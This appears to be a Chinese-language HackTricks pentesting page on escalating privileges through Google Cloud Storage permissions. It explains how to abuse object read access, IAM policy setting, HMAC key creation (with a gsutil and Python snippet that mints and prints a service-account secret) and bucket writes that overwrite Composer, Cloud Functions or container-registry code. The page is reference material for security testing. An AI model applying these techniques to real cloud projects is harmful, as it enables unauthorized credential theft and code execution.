GCP - Storage Privesc

支持 HackTricks

存储

基本信息:

GCP - Storage Enum

storage.objects.get

此权限允许您下载存储在 Cloud Storage 中的文件。这可能会让您提升权限,因为在某些情况下敏感信息会保存在那里。此外,一些 GCP 服务将其信息存储在桶中:

  • GCP Composer:当您创建一个 Composer 环境时,所有 DAG 的代码将保存在一个中。这些任务的代码中可能包含有趣的信息。

  • GCR (容器注册表):容器的镜像存储在中,这意味着如果您可以读取这些桶,您将能够下载镜像并搜索泄漏和/或源代码

storage.objects.setIamPolicy

您可以授予自己权限以滥用本节中的任何先前场景

storage.buckets.setIamPolicy

有关如何使用此权限修改权限的示例,请查看此页面:

GCP - Public Buckets Privilege Escalation

storage.hmacKeys.create

Cloud Storage 的“互操作性”功能,旨在实现与 AWS S3 等的跨云交互,涉及为服务账户和用户创建 HMAC 密钥。攻击者可以通过为具有提升权限的服务账户生成 HMAC 密钥来利用这一点,从而在 Cloud Storage 中提升权限。虽然与用户相关的 HMAC 密钥只能通过网络控制台检索,但访问密钥和秘密密钥始终保持可访问,允许潜在的备份访问存储。相反,与服务账户关联的 HMAC 密钥可以通过 API 访问,但其访问密钥和秘密密钥在创建后无法检索,为持续访问增加了一层复杂性。

# Create key
gsutil hmac create <sa-email> # You might need to execute this inside a VM instance

## If you have TROUBLES creating the HMAC key this was you can also do it contacting the API directly:
PROJECT_ID = '$PROJECT_ID'
TARGET_SERVICE_ACCOUNT = f"exam-storage-sa-read-flag-3@{PROJECT_ID}.iam.gserviceaccount.com"
ACCESS_TOKEN = "$CLOUDSDK_AUTH_ACCESS_TOKEN"
import requests
import json
key = requests.post(
f'https://www.googleapis.com/storage/v1/projects/{PROJECT_ID}/hmacKeys',
params={'access_token': ACCESS_TOKEN, 'serviceAccountEmail': TARGET_SERVICE_ACCOUNT}
).json()
#print(json.dumps(key, indent=4))
print(f'ID: {key["metadata"]["accessId"]}')
print(f'Secret: {key["secret"]}')


# Configure gsutil to use the HMAC key
gcloud config set pass_credentials_to_gsutil false
gsutil config -a

# Use it
gsutil ls gs://[BUCKET_NAME]

# Restore
gcloud config set pass_credentials_to_gsutil true

另一个针对此方法的利用脚本可以在 这里 找到。

storage.objects.create, storage.objects.delete = 存储写入权限

为了在存储桶中创建新对象,您需要 storage.objects.create,并且根据 文档,您还需要 storage.objects.delete修改现有对象。

在可以在云中写入的存储桶中,常见的利用是如果存储桶保存了 web 服务器文件,您可能能够存储新代码,该代码将被 web 应用程序使用。

Composer

Composer 是在 GCP 中管理的 Apache Airflow。它有几个有趣的特性:

  • 它运行在 GKE 集群中,因此集群使用的 SA 是可访问的,由在 Composer 中运行的代码访问

  • 它将代码存储在存储桶中,因此,任何对该存储桶具有写入访问权限的人都将能够更改/添加 DGA 代码(Apache Airflow 将执行的代码) 然后,如果您对 Composer 用于存储代码的存储桶具有写入访问权限,您可以提升到在 GKE 集群中运行的 SA

Cloud Functions

  • Cloud Functions 代码存储在存储中,因此覆盖它,可以执行任意代码

App Engine

  • App Engine 源代码存储在存储桶中,覆盖代码可能会执行任意代码。这是不可能的

  • 看起来容器层存储在存储桶中,可能更改那些?

GCR

  • Google Container Registry 将图像存储在存储桶中,如果您可以写入这些存储桶,您可能能够横向移动到这些存储桶运行的地方。

  • GCR 使用的存储桶将具有类似于 gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com 的 URL(顶级子域在 这里 指定)。

参考文献

支持 HackTricks

Last updated